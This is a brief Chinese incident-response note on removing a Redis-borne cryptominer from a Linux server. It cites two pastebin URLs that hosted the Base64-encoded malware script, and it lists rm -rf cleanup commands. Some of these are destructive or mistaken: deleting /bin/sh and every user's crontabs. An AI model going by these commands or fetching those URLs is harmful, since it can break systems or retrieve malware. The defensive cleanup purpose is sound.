1，cpu 100%, 用top 查看cpu100
2,删掉此进程 cpu还是 100%
3，估计是进程被隐藏了
4，定时任务多了一个执行任务
5：打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容
6：打开 https://pastebin.com/raw/uuYVPLXd ，发现是一个Base64编码字符串，
7：用Base64解码此内容得到如下脚本内容

8：根据此脚本最终解决方案
A:先把定时任务删除掉
rm -rf /etc/cron.d/root
rm -rf /var/spool/cron/crontabs
rm -rf /bin/sh /var/spool/cron/root
B:删掉重启系统后执行脚本
rm -rf /bin/httpdns
C：删掉挖矿执行脚本
rm -rf /tmp/kworkerds
D: 删除修top显示命令的脚本 （导致top查询不处理此挖矿进程）
rm -rf /usr/local/lib/libntp.so
E:删除python执行文件
rm -rf /tmp/.tmpa
F: 再用Top命令，就可以找出此耗cpu进程
7：kill 掉此进程
9：修改redis 密码，最好修改bind 为127.0.0.1
